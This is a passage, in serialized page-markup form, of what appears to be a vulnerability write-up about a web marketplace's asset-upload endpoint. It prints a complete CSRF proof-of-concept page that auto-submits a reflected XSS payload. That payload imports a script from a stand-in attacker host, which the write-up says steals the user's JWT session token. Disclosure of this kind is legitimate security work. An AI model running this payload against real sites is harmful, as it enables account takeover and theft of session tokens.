fetch",{"type":22,"tag":101,"props":36927,"children":36928},{"style":166},[36929],{"type":27,"value":980},{"type":22,"tag":101,"props":36931,"children":36932},{"style":6476},[36933],{"type":27,"value":36934},"\"/sapo.png\"",{"type":22,"tag":101,"props":36936,"children":36937},{"style":166},[36938],{"type":27,"value":36939},")).",{"type":22,"tag":101,"props":36941,"children":36942},{"style":926},[36943],{"type":27,"value":36944},"blob",{"type":22,"tag":101,"props":36946,"children":36947},{"style":166},[36948],{"type":27,"value":11746},{"type":22,"tag":101,"props":36950,"children":36951},{"class":103,"line":1215},[36952],{"type":22,"tag":101,"props":36953,"children":36954},{"emptyLinePlaceholder":15},[36955],{"type":27,"value":1581},{"type":22,"tag":101,"props":36957,"children":36958},{"class":103,"line":2425},[36959,36963,36968,36972,36976,36981,36986,36990,36994,36999,37004,37009,37014],{"type":22,"tag":101,"props":36960,"children":36961},{"style":126},[36962],{"type":27,"value":3746},{"type":22,"tag":101,"props":36964,"children":36965},{"style":126},[36966],{"type":27,"value":36967}," f",{"type":22,"tag":101,"props":36969,"children":36970},{"style":166},[36971],{"type":27,"value":36907},{"type":22,"tag":101,"props":36973,"children":36974},{"style":108},[36975],{"type":27,"value":19124},{"type":22,"tag":101,"props":36977,"children":36978},{"style":926},[36979],{"type":27,"value":36980}," File",{"type":22,"tag":101,"props":36982,"children":36983},{"style":166},[36984],{"type":27,"value":36985},"([",{"type":22,"tag":101,"props":36987,"children":36988},{"style":126},[36989],{"type":27,"value":36944},{"type":22,"tag":101,"props":36991,"children":36992},{"style":166},[36993],{"type":27,"value":27047},{"type":22,"tag":101,"props":36995,"children":36996},{"style":6476},[36997],{"type":27,"value":36998},"'sapo.png'",{"type":22,"tag":101,"props":37000,"children":37001},{"style":166},[37002],{"type":27,"value":37003},", {",{"type":22,"tag":101,"props":37005,"children":37006},{"style":126},[37007],{"type":27,"value":37008},"type:",{"type":22,"tag":101,"props":37010,"children":37011},{"style":6476},[37012],{"type":27,"value":37013}," 'image/png'",{"type":22,"tag":101,"props":37015,"children":37016},{"style":166},[37017],{"type":27,"value":1212},{"type":22,"tag":101,"props":37019,"children":37020},{"class":103,"line":5417},[37021,37025,37030,37034,37038,37043],{"type":22,"tag":101,"props":37022,"children":37023},{"style":126},[37024],{"type":27,"value":36897},{"type":22,"tag":101,"props":37026,"children":37027},{"style":126},[37028],{"type":27,"value":37029}," dataTransfer",{"type":22,"tag":101,"props":37031,"children":37032},{"style":166},[37033],{"type":27,"value":36907},{"type":22,"tag":101,"props":37035,"children":37036},{"style":108},[37037],{"type":27,"value":19124},{"type":22,"tag":101,"props":37039,"children":37040},{"style":926},[37041],{"type":27,"value":37042}," DataTransfer",{"type":22,"tag":101,"props":37044,"children":37045},{"style":166},[37046],{"type":27,"value":934},{"type":22,"tag":101,"props":37048,"children":37049},{"class":103,"line":7714},[37050,37055,37059,37064,37068,37072,37076,37081],{"type":22,"tag":101,"props":37051,"children":37052},{"style":126},[37053],{"type":27,"value":37054}," dataTransfer",{"type":22,"tag":101,"props":37056,"children":37057},{"style":166},[37058],{"type":27,"value":231},{"type":22,"tag":101,"props":37060,"children":37061},{"style":126},[37062],{"type":27,"value":37063},"items",{"type":22,"tag":101,"props":37065,"children":37066},{"style":166},[37067],{"type":27,"value":231},{"type":22,"tag":101,"props":37069,"children":37070},{"style":926},[37071],{"type":27,"value":13643},{"type":22,"tag":101,"props":37073,"children":37074},{"style":166},[37075],{"type":27,"value":980},{"type":22,"tag":101,"props":37077,"children":37078},{"style":126},[37079],{"type":27,"value":37080},"f",{"type":22,"tag":101,"props":37082,"children":37083},{"style":166},[37084],{"type":27,"value":994},{"type":22,"tag":101,"props":37086,"children":37087},{"class":103,"line":7723},[37088],{"type":22,"tag":101,"props":37089,"children":37090},{"emptyLinePlaceholder":15},[37091],{"type":27,"value":1581},{"type":22,"tag":101,"props":37093,"children":37094},{"class":103,"line":7791},[37095,37100,37104,37109,37113,37118,37122,37126],{"type":22,"tag":101,"props":37096,"children":37097},{"style":126},[37098],{"type":27,"value":37099}," file123",{"type":22,"tag":101,"props":37101,"children":37102},{"style":166},[37103],{"type":27,"value":231},{"type":22,"tag":101,"props":37105,"children":37106},{"style":126},[37107],{"type":27,"value":37108},"files",{"type":22,"tag":101,"props":37110,"children":37111},{"style":166},[37112],{"type":27,"value":36907},{"type":22,"tag":101,"props":37114,"children":37115},{"style":126},[37116],{"type":27,"value":37117},"dataTransfer",{"type":22,"tag":101,"props":37119,"children":37120},{"style":166},[37121],{"type":27,"value":231},{"type":22,"tag":101,"props":37123,"children":37124},{"style":126},[37125],{"type":27,"value":37108},{"type":22,"tag":101,"props":37127,"children":37128},{"style":166},[37129],{"type":27,"value":1520},{"type":22,"tag":101,"props":37131,"children":37132},{"class":103,"line":7799},[37133,37138],{"type":22,"tag":101,"props":37134,"children":37135},{"style":108},[37136],{"type":27,"value":37137}," }",{"type":22,"tag":101,"props":37139,"children":37140},{"style":120},[37141],{"type":27,"value":37142},")()\n",{"type":22,"tag":101,"props":37144,"children":37145},{"class":103,"line":7829},[37146],{"type":22,"tag":101,"props":37147,"children":37148},{"emptyLinePlaceholder":15},[37149],{"type":27,"value":1581},{"type":22,"tag":101,"props":37151,"children":37152},{"class":103,"line":7837},[37153,37157,37161],{"type":22,"tag":101,"props":37154,"children":37155},{"style":36372},[37156],{"type":27,"value":36840},{"type":22,"tag":101,"props":37158,"children":37159},{"style":108},[37160],{"type":27,"value":36412},{"type":22,"tag":101,"props":37162,"children":37163},{"style":36372},[37164],{"type":27,"value":527},{"type":22,"tag":101,"props":37166,"children":37167},{"class":103,"line":7868},[37168,37172,37176],{"type":22,"tag":101,"props":37169,"children":37170},{"style":36372},[37171],{"type":27,"value":36426},{"type":22,"tag":101,"props":37173,"children":37174},{"style":108},[37175],{"type":27,"value":36379},{"type":22,"tag":101,"props":37177,"children":37178},{"style":36372},[37179],{"type":27,"value":527},{"type":22,"tag":23,"props":37181,"children":37182},{},[37183],{"type":27,"value":37184},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":22,"tag":23,"props":37186,"children":37187},{},[37188],{"type":27,"value":37189},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":22,"tag":23,"props":37191,"children":37192},{},[37193],{"type":27,"value":37194},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":22,"tag":23,"props":37196,"children":37197},{},[37198],{"type":27,"value":37199},"From here, we were able to steal the session cookie from local storage.",{"type":22,"tag":91,"props":37201,"children":37203},{"className":35359,"code":37202,"language":35361,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[37204],{"type":22,"tag":30,"props":37205,"children":37206},{"__ignoreMap":7},[37207,37222,37237,37268,37343,37394,37582,37621,37636,37651,37658,37673,37680,37691,37742,37749,37804,37831,37866,37873,37908,37915,37936,37947,37954,37969],{"type":22,"tag":101,"props":37208,"children":37209},{"class":103,"line":104},[37210,37214,37218],{"type":22,"tag":101,"props":37211,"children":37212},{"style":36372},[37213],{"type":27,"value":123},{"type":22,"tag":101,"props":37215,"children":37216},{"style":108},[37217],{"type":27,"value":36379},{"type":22,"tag":101,"props":37219,"children":37220},{"style":36372},[37221],{"type":27,"value":527},{"type":22,"tag":101,"props":37223,"children":37224},{"class":103,"line":157},[37225,37229,37233],{"type":22,"tag":101,"props":37226,"children":37227},{"style":36372},[37228],{"type":27,"value":36391},{"type":22,"tag":101,"props":37230,"children":37231},{"style":108},[37232],{"type":27,"value":36396},{"type":22,"tag":101,"props":37234,"children":37235},{"style":36372},[37236],{"type":27,"value":527},{"type":22,"tag":101,"props":37238,"children":37239},{"class":103,"line":182},[37240,37244,37248,37252,37256,37260,37264],{"type":22,"tag":101,"props":37241,"children":37242},{"style":36372},[37243],{"type":27,"value":36391},{"type":22,"tag":101,"props":37245,"children":37246},{"style":108},[37247],{"type":27,"value":36412},{"type":22,"tag":101,"props":37249,"children":37250},{"style":36372},[37251],{"type":27,"value":14467},{"type":22,"tag":101,"props":37253,"children":37254},{"style":120},[37255],{"type":27,"value":36421},{"type":22,"tag":101,"props":37257,"children":37258},{"style":36372},[37259],{"type":27,"value":36426},{"type":22,"tag":101,"props":37261,"children":37262},{"style":108},[37263],{"type":27,"value":36412},{"type":22,"tag":101,"props":37265,"children":37266},{"style":36372},[37267],{"type":27,"value":527},{"type":22,"tag":101,"props":37269,"children":37270},{"class":103,"line":367},[37271,37275,37279,37283,37287,37291,37295,37299,37303,37307,37311,37315,37319,37323,37327,37331,37335,37339],{"type":22,"tag":101,"props":37272,"children":37273},{"style":36372},[37274],{"type":27,"value":36442},{"type":22,"tag":101,"props":37276,"children":37277},{"style":108},[37278],{"type":27,"value":36447},{"type":22,"tag":101,"props":37280,"children":37281},{"style":126},[37282],{"type":27,"value":36452},{"type":22,"tag":101,"props":37284,"children":37285},{"style":166},[37286],{"type":27,"value":1511},{"type":22,"tag":101,"props":37288,"children":37289},{"style":6476},[37290],{"type":27,"value":36461},{"type":22,"tag":101,"props":37292,"children":37293},{"style":126},[37294],{"type":27,"value":36466},{"type":22,"tag":101,"props":37296,"children":37297},{"style":166},[37298],{"type":27,"value":1511},{"type":22,"tag":101,"props":37300,"children":37301},{"style":6476},[37302],{"type":27,"value":36475},{"type":22,"tag":101,"props":37304,"children":37305},{"style":126},[37306],{"type":27,"value":21107},{"type":22,"tag":101,"props":37308,"children":37309},{"style":166},[37310],{"type":27,"value":1511},{"type":22,"tag":101,"props":37312,"children":37313},{"style":6476},[37314],{"type":27,"value":36488},{"type":22,"tag":101,"props":37316,"children":37317},{"style":126},[37318],{"type":27,"value":36493},{"type":22,"tag":101,"props":37320,"children":37321},{"style":166},[37322],{"type":27,"value":1511},{"type":22,"tag":101,"props":37324,"children":37325},{"style":6476},[37326],{"type":27,"value":36502},{"type":22,"tag":101,"props":37328,"children":37329},{"style":126},[37330],{"type":27,"value":36507},{"type":22,"tag":101,"props":37332,"children":37333},{"style":166},[37334],{"type":27,"value":1511},{"type":22,"tag":101,"props":37336,"children":37337},{"style":6476},[37338],{"type":27,"value":36516},{"type":22,"tag":101,"props":37340,"children":37341},{"style":36372},[37342],{"type":27,"value":527},{"type":22,"tag":101,"props":37344,"children":37345},{"class":103,"line":398},[37346,37350,37354,37358,37362,37366,37370,37374,37378,37382,37386,37390],{"type":22,"tag":101,"props":37347,"children":37348},{"style":36372},[37349],{"type":27,"value":36528},{"type":22,"tag":101,"props":37351,"children":37352},{"style":108},[37353],{"type":27,"value":12376},{"type":22,"tag":101,"props":37355,"children":37356},{"style":126},[37357],{"type":27,"value":36537},{"type":22,"tag":101,"props":37359,"children":37360},{"style":166},[37361],{"type":27,"value":1511},{"type":22,"tag":101,"props":37363,"children":37364},{"style":6476},[37365],{"type":27,"value":36546},{"type":22,"tag":101,"props":37367,"children":37368},{"style":126},[37369],{"type":27,"value":36551},{"type":22,"tag":101,"props":37371,"children":37372},{"style":166},[37373],{"type":27,"value":1511},{"type":22,"tag":101,"props":37375,"children":37376},{"style":6476},[37377],{"type":27,"value":36560},{"type":22,"tag":101,"props":37379,"children":37380},{"style":126},[37381],{"type":27,"value":36452},{"type":22,"tag":101,"props":37383,"children":37384},{"style":166},[37385],{"type":27,"value":1511},{"type":22,"tag":101,"props":37387,"children":37388},{"style":6476},[37389],{"type":27,"value":36573},{"type":22,"tag":101,"props":37391,"children":37392},{"style":36372},[37393],{"type":27,"value":527},{"type":22,"tag":101,"props":37395,"children":37396},{"class":103,"line":428},[37397,37401,37405,37409,37413,37417,37421,37425,37429,37433,37437,37441,37446,37450,37455,37459,37464,37468,37473,37478,37482,37486,37491,37496,37501,37506,37511,37516,37520,37525,37529,37533,37538,37542,37547,37552,37557,37561,37565,37569,37574,37578],{"type":22,"tag":101,"props":37398,"children":37399},{"style":36372},[37400],{"type":27,"value":36585},{"type":22,"tag":101,"props":37402,"children":37403},{"style":108},[37404],{"type":27,"value":12376},{"type":22,"tag":101,"props":37406,"children":37407},{"style":126},[37408],{"type":27,"value":36537},{"type":22,"tag":101,"props":37410,"children":37411},{"style":166},[37412],{"type":27,"value":1511},{"type":22,"tag":101,"props":37414,"children":37415},{"style":6476},[37416],{"type":27,"value":36602},{"type":22,"tag":101,"props":37418,"children":37419},{"style":126},[37420],{"type":27,"value":36551},{"type":22,"tag":101,"props":37422,"children":37423},{"style":166},[37424],{"type":27,"value":1511},{"type":22,"tag":101,"props":37426,"children":37427},{"style":6476},[37428],{"type":27,"value":36615},{"type":22,"tag":101,"props":37430,"children":37431},{"style":126},[37432],{"type":27,"value":36507},{"type":22,"tag":101,"props":37434,"children":37435},{"style":166},[37436],{"type":27,"value":1511},{"type":22,"tag":101,"props":37438,"children":37439},{"style":6476},[37440],{"type":27,"value":24051},{"type":22,"tag":101,"props":37442,"children":37443},{"style":108},[37444],{"type":27,"value":37445},"{"",{"type":22,"tag":101,"props":37447,"children":37448},{"style":6476},[37449],{"type":27,"value":36637},{"type":22,"tag":101,"props":37451,"children":37452},{"style":108},[37453],{"type":27,"value":37454},"":"<",{"type":22,"tag":101,"props":37456,"children":37457},{"style":6476},[37458],{"type":27,"value":7959},{"type":22,"tag":101,"props":37460,"children":37461},{"style":108},[37462],{"type":27,"value":37463},"/",{"type":22,"tag":101,"props":37465,"children":37466},{"style":6476},[37467],{"type":27,"value":36666},{"type":22,"tag":101,"props":37469,"children":37470},{"style":108},[37471],{"type":27,"value":37472},"=",{"type":22,"tag":101,"props":37474,"children":37475},{"style":6476},[37476],{"type":27,"value":37477},"x onerror",{"type":22,"tag":101,"props":37479,"children":37480},{"style":108},[37481],{"type":27,"value":37472},{"type":22,"tag":101,"props":37483,"children":37484},{"style":6476},[37485],{"type":27,"value":23474},{"type":22,"tag":101,"props":37487,"children":37488},{"style":108},[37489],{"type":27,"value":37490},"(`",{"type":22,"tag":101,"props":37492,"children":37493},{"style":6476},[37494],{"type":27,"value":37495},"https",{"type":22,"tag":101,"props":37497,"children":37498},{"style":108},[37499],{"type":27,"value":37500},"://",{"type":22,"tag":101,"props":37502,"children":37503},{"style":6476},[37504],{"type":27,"value":37505},"attacker-server",{"type":22,"tag":101,"props":37507,"children":37508},{"style":108},[37509],{"type":27,"value":37510},".",{"type":22,"tag":101,"props":37512,"children":37513},{"style":6476},[37514],{"type":27,"value":37515},"com",{"type":22,"tag":101,"props":37517,"children":37518},{"style":108},[37519],{"type":27,"value":37463},{"type":22,"tag":101,"props":37521,"children":37522},{"style":6476},[37523],{"type":27,"value":37524},"leak",{"type":22,"tag":101,"props":37526,"children":37527},{"style":108},[37528],{"type":27,"value":37510},{"type":22,"tag":101,"props":37530,"children":37531},{"style":6476},[37532],{"type":27,"value":35361},{"type":22,"tag":101,"props":37534,"children":37535},{"style":108},[37536],{"type":27,"value":37537},"`)>","",{"type":22,"tag":101,"props":37539,"children":37540},{"style":6476},[37541],{"type":27,"value":4172},{"type":22,"tag":101,"props":37543,"children":37544},{"style":108},[37545],{"type":27,"value":37546},"":"",{"type":22,"tag":101,"props":37548,"children":37549},{"style":6476},[37550],{"type":27,"value":37551},"profile-assets",{"type":22,"tag":101,"props":37553,"children":37554},{"style":108},[37555],{"type":27,"value":37556},"","",{"type":22,"tag":101,"props":37558,"children":37559},{"style":6476},[37560],{"type":27,"value":36752},{"type":22,"tag":101,"props":37562,"children":37563},{"style":108},[37564],{"type":27,"value":37546},{"type":22,"tag":101,"props":37566,"children":37567},{"style":6476},[37568],{"type":27,"value":36761},{"type":22,"tag":101,"props":37570,"children":37571},{"style":108},[37572],{"type":27,"value":37573},""}",{"type":22,"tag":101,"props":37575,"children":37576},{"style":6476},[37577],{"type":27,"value":24051},{"type":22,"tag":101,"props":37579,"children":37580},{"style":36372},[37581],{"type":27,"value":36775},{"type":22,"tag":101,"props":37583,"children":37584},{"class":103,"line":997},[37585,37589,37593,37597,37601,37605,37609,37613,37617],{"type":22,"tag":101,"props":37586,"children":37587},{"style":36372},[37588],{"type":27,"value":36585},{"type":22,"tag":101,"props":37590,"children":37591},{"style":108},[37592],{"type":27,"value":12376},{"type":22,"tag":101,"props":37594,"children":37595},{"style":126},[37596],{"type":27,"value":36537},{"type":22,"tag":101,"props":37598,"children":37599},{"style":166},[37600],{"type":27,"value":1511},{"type":22,"tag":101,"props":37602,"children":37603},{"style":6476},[37604],{"type":27,"value":36799},{"type":22,"tag":101,"props":37606,"children":37607},{"style":126},[37608],{"type":27,"value":36507},{"type":22,"tag":101,"props":37610,"children":37611},{"style":166},[37612],{"type":27,"value":1511},{"type":22,"tag":101,"props":37614,"children":37615},{"style":6476},[37616],{"type":27,"value":36812},{"type":22,"tag":101,"props":37618,"children":37619},{"style":36372},[37620],{"type":27,"value":36775},{"type":22,"tag":101,"props":37622,"children":37623},{"class":103,"line":1032},[37624,37628,37632],{"type":22,"tag":101,"props":37625,"children":37626},{"style":36372},[37627],{"type":27,"value":36824},{"type":22,"tag":101,"props":37629,"children":37630},{"style":108},[37631],{"type":27,"value":36447},{"type":22,"tag":101,"props":37633,"children":37634},{"style":36372},[37635],{"type":27,"value":527},{"type":22,"tag":101,"props":37637,"children":37638},{"class":103,"line":1063},[37639,37643,37647],{"type":22,"tag":101,"props":37640,"children":37641},{"style":36372},[37642],{"type":27,"value":36840},{"type":22,"tag":101,"props":37644,"children":37645},{"style":108},[37646],{"type":27,"value":36396},{"type":22,"tag":101,"props":37648,"children":37649},{"style":36372},[37650],{"type":27,"value":527},{"type":22,"tag":101,"props":37652,"children":37653},{"class":103,"line":1071},[37654],{"type":22,"tag":101,"props":37655,"children":37656},{"emptyLinePlaceholder":15},[37657],{"type":27,"value":1581},{"type":22,"tag":101,"props":37659,"children":37660},{"class":103,"line":1110},[37661,37665,37669],{"type":22,"tag":101,"props":37662,"children":37663},{"style":36372},[37664],{"type":27,"value":36391},{"type":22,"tag":101,"props":37666,"children":37667},{"style":108},[37668],{"type":27,"value":36412},{"type":22,"tag":101,"props":37670,"children":37671},{"style":36372},[37672],{"type":27,"value":527},{"type":22,"tag":101,"props":37674,"children":37675},{"class":103,"line":1118},[37676],{"type":22,"tag":101,"props":37677,"children":37678},{"emptyLinePlaceholder":15},[37679],{"type":27,"value":1581},{"type":22,"tag":101,"props":37681,"children":37682},{"class":103,"line":1158},[37683,37687],{"type":22,"tag":101,"props":37684,"children":37685},{"style":120},[37686],{"type":27,"value":36885},{"type":22,"tag":101,"props":37688,"children":37689},{"style":108},[37690],{"type":27,"value":14886},{"type":22,"tag":101,"props":37692,"children":37693},{"class":103,"line":1166},[37694,37698,37702,37706,37710,37714,37718,37722,37726,37730,37734,37738],{"type":22,"tag":101,"props":37695,"children":37696},{"style":126},[37697],{"type":27,"value":36897},{"type":22,"tag":101,"props":37699,"children":37700},{"style":126},[37701],{"type":27,"value":36902},{"type":22,"tag":101,"props":37703,"children":37704},{"style":166},[37705],{"type":27,"value":36907},{"type":22,"tag":101,"props":37707,"children":37708},{"style":3595},[37709],{"type":27,"value":36912},{"type":22,"tag":101,"props":37711,"children":37712},{"style":166},[37713],{"type":27,"value":3603},{"type":22,"tag":101,"props":37715,"children":37716},{"style":3595},[37717],{"type":27,"value":36912},{"type":22,"tag":101,"props":37719,"children":37720},{"style":926},[37721],{"type":27,"value":36925},{"type":22,"tag":101,"props":37723,"children":37724},{"style":166},[37725],{"type":27,"value":980},{"type":22,"tag":101,"props":37727,"children":37728},{"style":6476},[37729],{"type":27,"value":36934},{"type":22,"tag":101,"props":37731,"children":37732},{"style":166},[37733],{"type":27,"value":36939},{"type":22,"tag":101,"props":37735,"children":37736},{"style":926},[37737],{"type":27,"value":36944},{"type":22,"tag":101,"props":37739,"children":37740},{"style":166},[37741],{"type":27,"value":11746},{"type":22,"tag":101,"props":37743,"children":37744},{"class":103,"line":1215},[37745],{"type":22,"tag":101,"props":37746,"children":37747},{"emptyLinePlaceholder":15},[37748],{"type":27,"value":1581},{"type":22,"tag":101,"props":37750,"children":37751},{"class":103,"line":2425},[37752,37756,37760,37764,37768,37772,37776,37780,37784,37788,37792,37796,37800],{"type":22,"tag":101,"props":37753,"children":37754},{"style":126},[37755],{"type":27,"value":3746},{"type":22,"tag":101,"props":37757,"children":37758},{"style":126},[37759],{"type":27,"value":36967},{"type":22,"tag":101,"props":37761,"children":37762},{"style":166},[37763],{"type":27,"value":36907},{"type":22,"tag":101,"props":37765,"children":37766},{"style":108},[37767],{"type":27,"value":19124},{"type":22,"tag":101,"props":37769,"children":37770},{"style":926},[37771],{"type":27,"value":36980},{"type":22,"tag":101,"props":37773,"children":37774},{"style":166},[37775],{"type":27,"value":36985},{"type":22,"tag":101,"props":37777,"children":37778},{"style":126},[37779],{"type":27,"value":36944},{"type":22,"tag":101,"props":37781,"children":37782},{"style":166},[37783],{"type":27,"value":27047},{"type":22,"tag":101,"props":37785,"children":37786},{"style":6476},[37787],{"type":27,"value":36998},{"type":22,"tag":101,"props":37789,"children":37790},{"style":166},[37791],{"type":27,"value":37003},{"type":22,"tag":101,"props":37793,"children":37794},{"style":126},[37795],{"type":27,"value":37008},{"type":22,"tag":101,"props":37797,"children":37798},{"style":6476},[37799],{"type":27,"value":37013},{"type":22,"tag":101,"props":37801,"children":37802},{"style":166},[37803],{"type":27,"value":1212},{"type":22,"tag":101,"props":37805,"children":37806},{"class":103,"line":5417},[37807,37811,37815,37819,37823,37827],{"type":22,"tag":101,"props":37808,"children":37809},{"style":126},[37810],{"type":27,"value":36897},{"type":22,"tag":101,"props":37812,"children":37813},{"style":126},[37814],{"type":27,"value":37029},{"type":22,"tag":101,"props":37816,"children":37817},{"style":166},[37818],{"type":27,"value":36907},{"type":22,"tag":101,"props":37820,"children":37821},{"style":108},[37822],{"type":27,"value":19124},{"type":22,"tag":101,"props":37824,"children":37825},{"style":926},[37826],{"type":27,"value":37042},{"type":22,"tag":101,"props":37828,"children":37829},{"style":166},[37830],{"type":27,"value":934},{"type":22,"tag":101,"props":37832,"children":37833},{"class":103,"line":7714},[37834,37838,37842,37846,37850,37854,37858,37862],{"type":22,"tag":101,"props":37835,"children":37836},{"style":126},[37837],{"type":27,"value":37054},{"type":22,"tag":101,"props":37839,"children":37840},{"style":166},[37841],{"type":27,"value":231},{"type":22,"tag":101,"props":37843,"children":37844},{"style":126},[37845],{"type":27,"value":37063},{"type":22,"tag":101,"props":37847,"children":37848},{"style":166},[37849],{"type":27,"value":231},{"type":22,"tag":101,"props":37851,"children":37852},{"style":926},[37853],{"type":27,"value":13643},{"type":22,"tag":101,"props":37855,"children":37856},{"style":166},[37857],{"type":27,"value":980},{"type":22,"tag":101,"props":37859,"children":37860},{"style":126},[37861],{"type":27,"value":37080},{"type":22,"tag":101,"props":37863,"children":37864},{"style":166},[37865],{"type":27,"value":994},{"type":22,"tag":101,"props":37867,"children":37868},{"class":103,"line":7723},[37869],{"type":22,"tag":101,"props":37870,"children":37871},{"emptyLinePlaceholder":15},[37872],{"type":27,"value":1581},{"type":22,"tag":101,"props":37874,"children":37875},{"class":103,"line":7791},[37876,37880,37884,37888,37892,37896,37900,37904],{"type":22,"tag":101,"props":37877,"children":37878},{"style":126},[37879],{"type":27,"value":37099},{"type":22,"tag":101,"props":37881,"children":37882},{"style":166},[37883],{"type":27,"value":231},{"type":22,"tag":101,"props":37885,"children":37886},{"style":126},[37887],{"type":27,"value":37108},{"type":22,"tag":101,"props":37889,"children":37890},{"style":166},[37891],{"type":27,"value":36907},{"type":22,"tag":101,"props":37893,"children":37894},{"style":126},[37895],{"type":27,"value":37117},{"type":22,"tag":101,"props":37897,"children":37898},{"style":166},[37899],{"type":27,"value":231},{"type":22,"tag":101,"props":37901,"children":37902},{"style":126},[37903],{"type":27,"value":37108},{"type":22,"tag":101,"props":37905,"children":37906},{"style":166},[37907],{"type":27,"value":1520},{"type":22,"tag":101,"props":37909,"children":37910},{"class":103,"line":7799},[37911],{"type":22,"tag":101,"props":37912,"children":37913},{"emptyLinePlaceholder":15},[37914],{"type":27,"value":1581},{"type":22,"tag":101,"props":37916,"children":37917},{"class":103,"line":7829},[37918,37923,37927,37932],{"type":22,"tag":101,"props":37919,"children":37920},{"style":126},[37921],{"type":27,"value":37922}," form123",{"type":22,"tag":101,"props":37924,"children":37925},{"style":166},[37926],{"type":27,"value":231},{"type":22,"tag":101,"props":37928,"children":37929},{"style":926},[37930],{"type":27,"value":37931},"submit",{"type":22,"tag":101,"props":37933,"children":37934},{"style":166},[37935],{"type":27,"value":11746},{"type":22,"tag":101,"props":37937,"children":37938},{"class":103,"line":7837},[37939,37943],{"type":22,"tag":101,"props":37940,"children":37941},{"style":108},[37942],{"type":27,"value":37137},{"type":22,"tag":101,"props":37944,"children":37945},{"style":120},[37946],{"type":27,"value":37142},{"type":22,"tag":101,"props":37948,"children":37949},{"class":103,"line":7868},[37950],{"type":22,"tag":101,"props":37951,"children":37952},{"emptyLinePlaceholder":15},[37953],{"type":27,"value":1581},{"type":22,"tag":101,"props":37955,"children":37956},{"class":103,"line":7876},[37957,37961,37965],{"type":22,"tag":101,"props":37958,"children":37959},{"style":36372},[37960],{"type":27,"value":36840},{"type":22,"tag":101,"props":37962,"children":37963},{"style":108},[37964],{"type":27,"value":36412},{"type":22,"tag":101,"props":37966,"children":37967},{"style":36372},[37968],{"type":27,"value":527},{"type":22,"tag":101,"props":37970,"children":37971},{"class":103,"line":7936},[37972,37976,37980],{"type":22,"tag":101,"props":37973,"children":37974},{"style":36372},[37975],{"type":27,"value":36426},{"type":22,"tag":101,"props":37977,"children":37978},{"style":108},[37979],{"type":27,"value":36379},{"type":22,"tag":101,"props":37981,"children":37982},{"style":36372},[37983],{"type":27,"value":527},{"type":22,"tag":23,"props":37985,"children":37986},{},[37987],{"type":27,"value":37988},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":22,"tag":91,"props":37990,"children":37994},{"className":37991,"code":37992,"language":37993,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[37995],{"type":22,"tag":30,"props":37996,"children":37997},{"__ignoreMap":7},[37998,38005,38026,38047,38064],{"type":22,"tag":101,"props":37999,"children":38000},{"class":103,"line":104},[38001],{"type":22,"tag":101,"props":38002,"children":38003},{"style":120},[38004],{"type":27,"value":14886},{"type":22,"tag":101,"props":38006,"children":38007},{"class":103,"line":157},[38008,38013,38017,38022],{"type":22,"tag":101,"props":38009,"children":38010},{"style":126},[38011],{"type":27,"value":38012}," \"address\"",{"type":22,"tag":101,"props":38014,"children":38015},{"style":120},[38016],{"type":27,"value":19332},{"type":22,"tag":101,"props":38018,"children":38019},{"style":6476},[38020],{"type":27,"value":38021},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":22,"tag":101,"props":38023,"children":38024},{"style":120},[38025],{"type":27,"value":179},{"type":22,"tag":101,"props":38027,"children":38028},{"class":103,"line":182},[38029,38034,38038,38043],{"type":22,"tag":101,"props":38030,"children":38031},{"style":126},[38032],{"type":27,"value":38033}," \"to\"",{"type":22,"tag":101,"props":38035,"children":38036},{"style":120},[38037],{"type":27,"value":19332},{"type":22,"tag":101,"props":38039,"children":38040},{"style":6476},[38041],{"type":27,"value":38042},"\"profile-assets\"",{"type":22,"tag":101,"props":38044,"children":38045},{"style":120},[38046],{"type":27,"value":179},{"type":22,"tag":101,"props":38048,"children":38049},{"class":103,"line":367},[38050,38055,38059],{"type":22,"tag":101,"props":38051,"children":38052},{"style":126},[38053],{"type":27,"value":38054}," \"type\"",{"type":22,"tag":101,"props":38056,"children":38057},{"style":120},[38058],{"type":27,"value":19332},{"type":22,"tag":101,"props":38060,"children":38061},{"style":6476},[38062],{"type":27,"value":38063},"\"icon\"\n",{"type":22,"tag":101,"props":38065,"children":38066},{"class":103,"line":398},[38067],{"type":22,"tag":101,"props":38068,"children":38069},{"style":120},[38070],{"type":27,"value":188},{"type":22,"tag":23,"props":38072,"children":38073},{},[38074],{"type":27,"value":38075},"Then, the imported script is able to exfiltrate the JWT authentication token from 